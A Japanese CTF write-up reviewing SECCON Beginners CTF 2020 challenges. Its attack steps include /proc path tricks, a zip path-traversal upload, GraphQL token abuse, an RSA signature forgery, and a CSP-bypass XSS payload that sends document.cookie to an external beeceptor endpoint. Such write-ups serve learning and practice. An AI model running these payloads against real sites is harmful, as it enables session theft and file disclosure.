2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 のMisc, Web, Crypto分野の復習メモです。大会終了後の問題サーバー稼働期間が 6/15(月)まで設けられているので、今からでもまだ間に合いますよ!
競技時間中に解いた問題のwrite-upはこちら。
[Reversing]はオフラインでも解けそうなので後回し、[Pwn]は良問すぎると噂に聞いているけど、時間がかかりそうなので後回し。
[Misc] emoemoencode [Easy]
Do you know emo-emo-encode?
emoemoencode.txt
emoemoencode.txt
が配布されます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
絵文字だらけ!
githubで検索してみました。これかな?
いや、こっちっぽい。
rust環境が必要…。よっしゃinstallしたるで!ということで、下記記事を見ながらrustをささっとinstall,実行まで出来た。
良き良き。
…けど、ライブラリの依存エラーを解決できず。放置。絶対このライブラリ使うと思ってたんだけどなぁ…。時間だけめっちゃ使ってしまった。
競技後
ライブラリを使うのは諦めて、換字暗号っぽく解けないか見てみます。この場合、
ctf4b{xxxxx}
のはずなので
- 🍣 -> c
- 🍴 -> t
- 🍦 -> f
- 🌴 -> 4
- 🍢 -> b
- 🍻 -> {
- 🍽 -> }
試しに、🍣の utf32 code を見てみると、127843(10進数)
。cは99
。同様に🍴は127860
,tは116
。
ここで差分を計算してみると、単純に絵文字の文字コードから127744
を引くとflagになりそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- shift = 127744 with open('emoemoencode.txt','r') as f: emo = f.read().strip() for c in emo: print(chr(ord(c)-shift),end='')
実行結果
$ python solve.py ctf4b{stegan0graphy_by_em000000ji}
あああああああぁぁ!これ一番好きな分野のやつじゃっん!(;▽;)ライブラリなんかに頼ろうとするからじゃ!(Crypto分野にあったら解けたかもしれん…と思ったけど、ただの負け惜しみ)
[Misc] readme [Easy]
readme
nc readme.quals.beginners.seccon.jp 9712
server.py
が配布されます。
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
どうやら/home/ctf/flag
のpathを入れると読んで出力してくれそう。
でも、入力が
/
で始まらないとダメ(絶対パスにしてくださいと怒られる)ctf
が入っているとダメ
ということで、条件が厳しい。逆に、これらのところでエラーが出たということは、ファイルにはたどり着いているということか。
$ nc readme.quals.beginners.seccon.jp 9712 File: ../flag [-] Use absolute path
$ nc readme.quals.beginners.seccon.jp 9712 File: /home/ctf/flag [-] Path not allowed
/home/$USER/flag /$HOME/flag /$PWD/flag /$PWD/../flag
などトライしてみたが、出てきません。ctfがpathに入ってるとNGなのが難しいなぁ…。
色々やってみたところ、こんな情報が取れました。
$ nc readme.quals.beginners.seccon.jp 9712 File: /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.21.0.2 b2a8444bdc32
$ nc readme.quals.beginners.seccon.jp 9712 File: /etc/passwd root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin ...(中略)... ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/ash
環境変数が確認出来たら、そこにctf階層へのエイリアスが設定されてたりする?環境変数はこんな感じで確認できそう。
/proc/{pid}/environ /proc/$$/environ
うーん、出てこないなぁ。{pid}
が知りたいけど、どうやって取るんじゃ…?
他、/proc/stat
, /proc/meminfo
など、色んなsystem情報が取れました。が、flagが読めない…。ctf階層にどうやって行くのや…。
復習
ここで、作問者wirteup。
おー、この前のångstromCTFのLeetTubeでも使った、/proc/self
とかのコマンドをすっかり忘れてた…。
競技中がやりたかったのは
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=5593SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=118.241.20.208SOCAT_PEERPORT=60690
おー、出た!でも結局、environ変数を$
で展開できなかったのでこれは使えなかった。
こちらにも記載のある、/proc/[pid]/cwd
を今回は使うと良かったらしい。
プロセスのカレントワーキングディレクトリへのシンボリックリンク。 例えば、プロセス 20 のカレントワーキングディレクトリを見つけるためには、 次のようにすればよい。
$ cd /proc/20/cwd; /bin/pwd
これで $PWD
と同じ結果が。カレントワーキングディレクトリは、上記の環境変数の情報からも/home/ctf/server
のようです。/home/ctf/flag
に行くためには、
/proc/self/cwd/../flag
入れてみましょう。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
へーへーへー!これはLeetTubeの復習のときに、もっと踏み込んで勉強しておくべきだったなぁ。
[Web] unzip [Easy]
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php
がヒントとして配布されます。
<?php error_reporting(0); session_start(); // prepare the session $user_dir = "/uploads/" . session_id(); if (!file_exists($user_dir)) mkdir($user_dir); if (!isset($_SESSION["files"])) $_SESSION["files"] = array(); // return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } } // process uploaded files $target_file = $target_dir . basename($_FILES["file"]["name"]); if (isset($_FILES["file"])) { // size check of uploaded file if ($_FILES["file"]["size"] > 1000) { echo "the size of uploaded file exceeds 1000 bytes."; die(); } // try to open uploaded file as zip $zip = new ZipArchive; if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { echo "failed to open your zip."; die(); } // check the size of unzipped files $extracted_zip_size = 0; for ($i = 0; $i < $zip->numFiles; $i++) $extracted_zip_size += $zip->statIndex($i)["size"]; if ($extracted_zip_size > 1000) { echo "the total size of extracted files exceeds 1000 bytes."; die(); } // extract $zip->extractTo($user_dir); // add files to $_SESSION["files"] for ($i = 0; $i < $zip->numFiles; $i++) { $s = $zip->statIndex($i); if (!in_array($s["name"], $_SESSION["files"], TRUE)) { $_SESSION["files"][] = $s["name"]; } } $zip->close(); } ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> </head> <body> <nav role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">Unzip</a> </div> </nav> <div class="container"> <br><br> <h1 class="header center teal-text text-lighten-2">Unzip</h1> <div class="row center"> <h5 class="header col s12 light"> Unzip Your .zip Archive Like a Pro </h5> </div> </div> </div> <div class="container"> <div class="section"> <h2>Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="file-field input-field"> <div class="btn"> <span>Select .zip to Upload</span> <input type="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text"> </div> </div> <button class="btn waves-effect waves-light"> Submit <i class="material-icons right">send</i> </button> </form> </div> </div> <div class="container"> <div class="section"> <h2>Files from Your Archive(s)</h2> <div class="collection"> <?php foreach ($_SESSION["files"] as $filename) { ?> <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a> <? } ?> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body> </html>
指定されたサイトのtopはこんな感じ。
どうやらzipファイルを送りつけるようです。1000 bytes以下じゃないと受け入れてもらえないので、1000バイト以下のファイルを作ると、uploadできました。
LFI(Local File Injection)かなぁ?と思って色々試してみたけど刺さらなかった。しょんぼり。
この前のångstromCTF 2020 Defund's Cryptが使えるかと思ったんだけどなぁ。
復習
競技後に流れてくるtweetから、どうやらpathに埋め込むタイプのようだと知る。なるほどね。zipを展開したときにpathも展開されるから、展開されたpathがflagを読むpathだと良いのか。
あと、競技中は余裕がなくてみていなかったけど、下記のdocker-compose.yml
がヒントとして追加されていたみたい。
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
これから、flagファイルが ./flag.txt
にあることがわかる。普通の名前をつけてuploadしたファイルは、./uploads/{session_id}/
に上がるので、../../flag.txt
がupload下がいるからflag.txtへの相対パス。zipを展開したときにファイルパスがこうなるようにzipの中身を書き換えてあげれば良い。
カレントディレクトリから2文字(書き換えやすいように)のディレクトリを2階層文作成し、そこにflag.txt
を配置。これをzipして後からpathをバイナリエディタなどで書き換える。
$ mkdir -p aa/aa $ vi aa/aa/flag.txt $ zip attack.zip ./aa/aa/flag.txt
バイナリエディタで開き、aa/aa
-> ../../
に書き換え。attack.zip
を送り込んで開いてみるとflagが表示されました!
これもそんなに難しくない問題だったんだなぁ…。解けなかったけど。
[Web] profiler [Medium]
Let's edit your profile with profiler!
Hint : You don't need to deobfuscate
*.js
指定されたurlにアクセスしてみます。
Register, Login機能があるサイトのようです。
競技中に目を通した時は、このページにしかアクセスできずRegisterすると落ちていたので手を付けていませんでした。
復習
上記、Registerに成功すると
Registered successfully. Your token is 0d226bae78b31f53c9a799f80ffd3df0985d9a697291dfaba245a6689c2add3b. Don't lose it!
みたいな文言が。cookieにも保存されていないので、覚えておきます。
Loginするとこんなメニュー。
新しいプロフィールを先程のtokenとともにセットすると、プロフィールが書き換わって新しいプロフィールが表示されます。
お、Get Flagあるじゃん!とポチってみると
Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).
だそうです。
profile書き換えのところに何かヒントがないかと、XSS, SSTIなどを試してみますが刺さりません。
今回はソースは配布されていないので、通信を見てみます。
request dataはこんな感じ。
data: {me: {name: "kusuwada", profile: "{{config.info}}", uid: "kusuwada"}}
responseはこんな感じ。
{"data":{"me":{"name":"kusuwada","profile":"{{config.info}}","uid":"kusuwada"}}}
特にrequestのほうが、あまり見たことない形式です…。
競技後のtwitter情報でGraphQLに関する問題が出たらしいというのと、最近開発運用系の勉強会やMeetupでもちょいちょい出てくるGraphQLが、こんな感じのreq/resだというのを思い出しました。CTFで見かけるのははじめてです。
通信を見ると、他にも結構長いall.js
や、難読化されてるprofile.js
が見つかります。これは見たくないなぁ…。
ということで早速作問者writeupを見てみます。
やはりGraphQLの問題だったみたい。curlコマンドで投げることもできるけど、せっかくなので紹介されていたツール(GraphQL Playground)を導入。スタンドアロン型のほう。
もう一つ候補だったGraphiQLより、できることが多そう。
立ち上げて、今回GraphQLのendpointと思われる/api
をendpointに設定してworkspaceを開始します。
開いた途端、Headerにtokenの設定も何もしていない状態で、右のSCHEMAタブからAPIのスキーマが確認できました🙌 これは便利。
これがGraphQLの特徴の一つ、イントロスペクション(Introspection)だそうです。ちゃちゃっとGraphQLについて調べたい時、ササッと読みやすかった記事。
Introspection
ざっくりGraphQLがどのようなクエリやフィールドをサポートしているのかを問合る機能。
Schema
、Type
、TypeKind
、Field
、nputValue
、EnumValue
、Directive
アンダースコア()
で始まるこれらはすべてイントロスペクションを表す。内部の情報をクエリ経由で参照できる。つまりそのgraphqlサービスが提供するすべてを知ることができる。
仕組みの概念はこちら
基本的にはquery
が REST の READ, 情報を取るときの操作のイメージで、mutation
がその他 CREATE, UPDATE ,DELETE を担う形のようです。
先程のツールのDocs
タブを確認すると、
query
にme
,someone
,flag
、mutation
にupdateProfile
,updateToken
が定義されていることがわかります。ブラウザから確認できなかった機能のsomeone
,updateToken
と、GetFlagのときのエラーメッセージから、adminのtokenを入手、これで自分のtokenを書き換えてflag queryを呼んだら良さそうなことがイメージできます。
まずは自分のプロフィールをとって来てみます。
※アプリ上ではerrorになってresponseが表示されなかった。curlコマンドコピー機能でコピーして、投げたら行けた。
まずは、下の方のメニューのHTTP HEADERS
タブから、Cookieにsessionを登録します。
{"Cookie": "session={ブラウザの開発者ツールなどから取得したsessionの値}"}
GraphQL playgroundで作成したクエリ
query{ me { uid name profile } }
"COPY CURL"機能でコピーしたコマンド。と実行結果。
$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session={セッション}' -H 'content-type: application/json' --data-binary '{"query":"query {\n me {\n uid\n name\n profile\n }\n}\n"}' --compressed {"data":{"me":{"name":"kusuwada","profile":"hello!","uid":"kusuwada"}}}
取れた!
次は、someone
でadmin
が取れないか試してみます。自分のuid
がkusuwada
になっていたので、adminのuid
はadmin
だと良いなぁ。
返ってきた!
次はupdateToken
を呼んでみます。今回もアプリ上ではresponseがerrorになってしまって表示されなかったので、"COPY CURL"機能でコピーしたやつを実行。
mutation{ updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b") }
curl実行結果
$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session=eyJ1aWQiOiJrdXN1d2FkYTIifQ.Xs6CYA.JEGTD7uXSFQJZTweNs0vYRI8yes' -H 'content-type: application/json' --data-binary '{"query":"mutation{\n updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n}"}' --compressed {"data":{"updateToken":true}}
オッ!成功しました。おそらく子供のお風呂や寝かしつけを挟んだためタイムアウトしたんだと思いますが、途中何度も failed になってしまったので出来ないかと思った…。
tokenの書き換えに成功したっぽいので、ブラウザに戻って Get FLAG
ボタンをポチッと。
flagが表示されました🍻
You don't need to deobfuscate *.js
のヒントはとても嬉しいなぁ。時間がかかる余計なことをしなくてすむ。
[Web] Somen [Hard]
Somen is tasty.
Hint:
そうめん?前回ラーメンだったから、今度は素麺?
ヒントとして、worker.js
とindex.php
が配布されます。
const puppeteer = require('puppeteer'); /* ... ... */ // initialize const browser = await puppeteer.launch({ executablePath: 'google-chrome-unstable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disk-cache-dir=/dev/null', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }); const page = await browser.newPage(); // set cookie await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: process.env.DOMAIN, expires: Date.now() / 1000 + 10, }); // access // username is the input value of players const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`; try { await page.goto(url, { waitUntil: 'networkidle0', timeout: 5000, }); } catch (err) { console.log(err); } // finalize await page.close(); await browser.close(); /* ... ... */
<?php $nonce = base64_encode(random_bytes(20)); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"); ?> <head> <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script> <script nonce="<?= $nonce ?>"> const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; } </script> </head> <body> <h1>Best somen for You</h1> <p>Please input your name. You can use only alphabets and digits.</p> <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p> <p id="message"></p> <form action="/" method="GET"> <input type="text" name="username" place="Your name"></input> <button type="submit">Ask</button> </form> <hr> <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p> <form action="/inquiry" method="POST"> <input type="text" name="username" place="Your name"></input> <button type="submit">Ask</button> </form> </body>
ちなみに、このソースから存在がわかるsecurity.js
は
console.log('!! security.js !!'); const username = new URL(location).searchParams.get("username"); if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { document.location = "/error.php"; }
指定されたurlに飛ぶとこんなページ。
試しにtest
を入れてみると、
test, I recommend Nagashi somen for you.
というリコメンドが出た。urlは?username=test
。
試しに今度は'
だけ入力してみると、/error.php
に飛び、Are you human? :-) の文が流れてくるページに。(流しそうめんだけに…?)
If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.
ここ怪しい。
こっちにさっきの'
を入れてみると、/inquiry
に飛び、 Okay! I got it :-) とテキストが表示されました。
worker.js
を見てみると、上で入力したところに訪れてくれるadminは、setCookie
関数でflag
というcookieをセットしているみたいです。このあと、https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}
にアクセスしてきてくれるそうなので、自分の用意したエンドポイントにきてcookieを吐いてくれると嬉しいなぁ。
試しに、javascriptスキームを突っ込んでみた
javascript: window.location = "{用意したエンドポイント}";
ら、エラーページに飛ばされた。
security.js
の制約により[a-z,0-9]
しかusernameには使えない制約があるので、それはそう。
あと、Content-Security-Policy:
の設定もあるので、CSP回避も考えなくては。
CSP回避については、過去にもやったときに使った、CSPの検証をしつつ脆弱なところを教えてくれる下記サイトに突っ込んで調べてもらいます。
フム。赤くなってる High security finding なところは、base-url [missing]
とのこと。
Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?
ほほう?baseが設定されていないので、攻撃者に設定されると相対パスで指定しているようなソースは攻撃者が任意のものに設定できる感じなのかな。
入力値チェックに使われているsecurity.js
は下記のように相対パスで参照されているので、base
が書き換わると参照先も書き換えor無効にできそう。
<script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
試しに、username
に下記を突っ込んでみました。
<base href="http://example.com">
うーん、error pageに飛ばされる🤔 curlコマンドで送ってみます。
$ curl -X POST "https://somen.quals.beginners.seccon.jp/?username=<base href="http://example.com">"
~~(略)~~ <title>Best somen for <base href=http://example.com></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script> ~~(略)~~
お、titleのところがinjectionできるのか。
今度はまたブラウザフォームから、
</title><base href="http://example.com">
を送ってみると、今度はerrorページには飛びませんでした!かわりに、こんな文言が表示。
, I recommend Hiyashi somen for you.
usernameのところは空になっています。これはきっとsecurity.js
読み込みを回避できたに違いない!
とこの辺でタイムアップ。
復習
作問者writeupをカンニング。
他、色んな人が色んな解き方をしていて参考になった。
- SECCON Beginners CTF 2020 "Somen" writeup - Qiita
- SECCON Beginners CTF 2020 write-up - Qiita
- SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい
まずは情報の整理。
方針
- adminに自分の用意したエンドポイントに来てcookieを吐いてもらう。
突破しなければならない防御
- CSP (Contents Security Policy)
- security.js による username チェック (
[a-z,0-9]
のみ)
脆弱な部分
<title>
部分に user 入力をそのまま突っ込んでいるdocument.getElementById("message").innerHTML
の部分にも任意コードが挿入可能- ※ただし、このときの入力は
security.js
のチェック後
- ※ただし、このときの入力は
- base tag を攻撃者が設定すると、baseを書き換え可能(使わなくても解ける)
security.js の実行回避
まず、やっぱりこれがあっては無理、ということでsecurity.js
の回避方法。security.js
より前にある脆弱部分<title>
タグのところに仕込む。
先程の
</title><base href="http://example.com">
でも正解。
もう一つ、base tagを使わない解き方は、単純に<script>
タグを勝手に始めてしまって、scriptタグを破壊する、もしくはずっと文字列が続いていると思わせる作戦。
破壊
</title><script>
文字列と思わせる
</title><script x="
imgタグを使ってみる
</title><img src="
これらは、次の</script>
タグまで有効なので、その後の処理は破壊されません。
攻撃コードの埋め込み
CSPで設定されているのはこちら。
* default-src 'none'; * script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
他の方のwriteupによると
strict-dynamic
が設定されている場合、「すでに信頼されている Javascript が生成した Javascript コード」は実行されるらしい。
前も見た気がする、この記事に詳しく書かれている。
Content Security Policy Level 3におけるXSS対策 - pixiv inside
Content Security Policy Level 3 > nonce + strict-dynamic
- nonceによるscriptの実行制御が強制される (
script-src
にドメインのホワイトリストを書いても無視される) - nonceにより実行を許可されたscriptから動的に生成された別のscriptも実行が許可されるようになる
今回の場合は、innerHTML
の箇所
document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
は、その数段上に書いてあるとおり nonce によって実行が許可されたインラインスクリプトなので、ここで生成されたスクリプトも実行が許可されます。
このコードは
id="message"
となっているタグの中身を書き換えるものであるので<script id="message">
を事前に挿入しておき、innerHTML によって<script id="message">
内で Javascript を展開して実行することができます
なるほど!
でもさっきの security.js
読み込みの回避も、今回のも username
に埋め込むなら、どうやってやるの?と思っていたら、
また
<script id="message"
>内で Javascript が展開された時に邪魔になるコードをコメントアウトすると
ほうほう!
alert()//</title><script id="message"></script><base href="http://example.com">
コメントアウトでつなげて、アラートを発生させてみます。これをブラウザから入力してAsk
してみると…
alertが表示されました!やったー!
あとは、cookieを見てもらうように設定するだけ。
location.href="https://kusuwada.free.beeceptor.com/?"+document.cookie//</title><script id="message"></script><base href="http://example.com">
来たー!
今回の問題は、ここにほとんど書かれていたようです。
XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
ってこれは他のWeb問の出題者の tsubasa さんのブログですね。この問題の作問者は、今回と同じ つばめ さんでした。納得。
[Crypto] Noisy equations [Easy]
noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip
problem.py
が配布されます。
from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
ランダムに毎回生成される、flag長と同じ長さのcoeffs
(係数)に対して、
answer = dot(coeff, FLAG) + getrandbits(L)
のリストが計算されて返ってきます。
answer
を計算するときに使っているseed
は、環境変数に設定されている固定のSEED
を使っているので、この時追加されるノイズのgetrandbits(L)
は、毎回同じものが生成されるはず。
最後に追加されるgetrandbits(L)
の値をnoise[]
と表現すると、
coeff[0][0] * FLAG[0] + coeff[0][1] * FLAG[1] + ... + coeff[0][43] * FLAG[43] + noise[0] = answer[0] coeff[1][0] * FLAG[0] + coeff[1][1] * FLAG[1] + ... + coeff[1][43] * FLAG[43] + noise[1] = answer[1] ...
となります。ここで既知なのはcoeff
,answer
、何度とってきても変わらないのがFLAG
,noise
。FLAG
の先頭はctf4b{
であることが予想できます。
となると、2回 coeff
, answer
を取得すると、answer_1 - answer_2
をすることで、noise
が消えてくれそう。
answer_1[n] - answer_2[n] = FLAG[0] * (coeff_1[n][0] - coeff_2[n][0]) + FLAG[1] * (coeff_1[n][1] - coeff_2[n][1]) + ...
となると、後は既知の値と欲しい値FLAG
だけ残った方程式になるので解けそう!
までわかったものの、ここからどうして良いかわからず試合終了。もうちょっと時間が欲しかったなぁ。
復習
これ、なんか見たことあるんだよなーと思ってたら、去年のBeginner's CTFの [Crypto] Party で似た問題が出ていた…。復習したつもりだったのに忘れてた(꒪⌓꒪)
が、この時参考にした数式は式3つまで。今回はflagの文字長、44文字分あります。
素直に他の方のwriteupをカンニングして、効率の良い解き方を教わることにします。
数式で解説してあってとてもわかりやすい。上記の式は
の行列計算になっており、flag
を求める事ができればOK。c_diff
の逆行列を求め、これをa*inv(c_diff)
してあげるとflag
が求まる。
これは、numpyの機能を使うと、下記のようにチャッと書ける。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * import numpy as np from numpy.linalg import inv host = 'noisy-equations.quals.beginners.seccon.jp' port = 3000 def fetch_values(): r = remote(host, port) coeffs = np.matrix(eval(r.recvline()), dtype = 'float') answers = np.array(eval(r.recvline()), dtype = 'float') return coeffs, answers c1, a1 = fetch_values() c2, a2 = fetch_values() a_diff = a1 - a2 c_diff = c1 - c2 inv_c = inv(c_diff) flag = inv_c.dot(a_diff) for i in range(flag.size): print(chr(int(round(flag[0,i]))),end='') print()
実行結果
$ python solve.py [+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Done[+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Donectf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y} [*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000 [*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000
まず降ってくる行列の文字列を行列に格納するところから悪戦苦闘していた。eval
使えば一発だった…。
[Crypto] RSA Calc [Medium]
F(1337)=FLAG!
nc rsacalc.quals.beginners.seccon.jp 10001
rsacalc.zip
server.py
が配布されます。
from Crypto.Util.number import * from params import p, q, flag import binascii import sys import signal N = p * q e = 65537 d = inverse(e, (p-1)*(q-1)) def input(prompt=''): sys.stdout.write(prompt) sys.stdout.flush() return sys.stdin.buffer.readline().strip() def menu(): sys.stdout.write('''---------- 1) Sign 2) Exec 3) Exit ''') try: sys.stdout.write('> ') sys.stdout.flush() return int(sys.stdin.readline().strip()) except: return 3 def cmd_sign(): data = input('data> ') if len(data) > 256: sys.stdout.write('Too long\n') return if b'F' in data or b'1337' in data: sys.stdout.write('Error\n') return signature = pow(bytes_to_long(data), d, N) sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode())) def cmd_exec(): data = input('data> ') signature = int(input('signature> '), 16) if signature < 0 or signature >= N: sys.stdout.write('Invalid signature\n') return check = long_to_bytes(pow(signature, e, N)) if data != check: sys.stdout.write('Invalid signature\n') return chunks = data.split(b',') stack = [] for c in chunks: if c == b'+': stack.append(stack.pop() + stack.pop()) elif c == b'-': stack.append(stack.pop() - stack.pop()) elif c == b'*': stack.append(stack.pop() * stack.pop()) elif c == b'/': stack.append(stack.pop() / stack.pop()) elif c == b'F': val = stack.pop() if val == 1337: sys.stdout.write(flag + '\n') else: stack.append(int(c)) sys.stdout.write('Answer: {}\n'.format(int(stack.pop()))) def main(): sys.stdout.write('N: {}\n'.format(N)) while True: try: command = menu() if command == 1: cmd_sign() if command == 2: cmd_exec() elif command == 3: break except: sys.stdout.write('Error\n') break if __name__ == '__main__': signal.alarm(60) main()
接続して見ると
$ nc rsacalc.quals.beginners.seccon.jp 10001 N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133 ---------- 1) Sign 2) Exec 3) Exit >
最初にNを与えられます。Sign機能とExec機能があり、Signでは入力した文字列data
をpow(data, d, N)
で署名し、署名(Signature)を返却します。Execでは、data
とsignature
のセットを入力させ、Signatureを検証、その後 stack に見立てた処理で data
を処理し、結果が 1337
になればフラグゲット。
data
を処理していって、F
が入っていたときにstackの一番上が1337
になっていれば良いようなのですが、signatureのチェックのところでF
か1337
が入っていた場合には弾かれてしまいます。
1337
は直接入れなくても、1000 + 337
のように計算するようにしてあげれば全然問題ないのですが、F
が入れられないのは困った…。
動作確認のため、server.py
のstack計算部分をlocalで動かしながら検証してみると、1000,+,337,F
みたいな入力で大丈夫そう。でもF
が入ってるんだよなぁ…。
Signatureを1000,337,+,E
などの他の文字列でもらっておいて、E
の箇所をF
でdata
を書き換え、それに対応するsignature
も書き換えて送ったりするのかなぁ…。
復習
他の方のwriteupをいくつか読んでやってみました。
であることを利用して、m = 1337,F
をm1
,m2
に分解してSignしてもらったsignatureをかければ良いとのこと。
確かに!ExecのときはSignatureとdataが一致しているかの判定しか行っていないからいけそう…!頭いいな!全然思いつかなかった。
やってみる。
1337,F
は 54095972346950 だったので、この値を factordb.comに突っ込んでみると、54095972346950< = 2 * 5^2 * 1081919446939
とのこと。これを m1
,m2
に設定します。
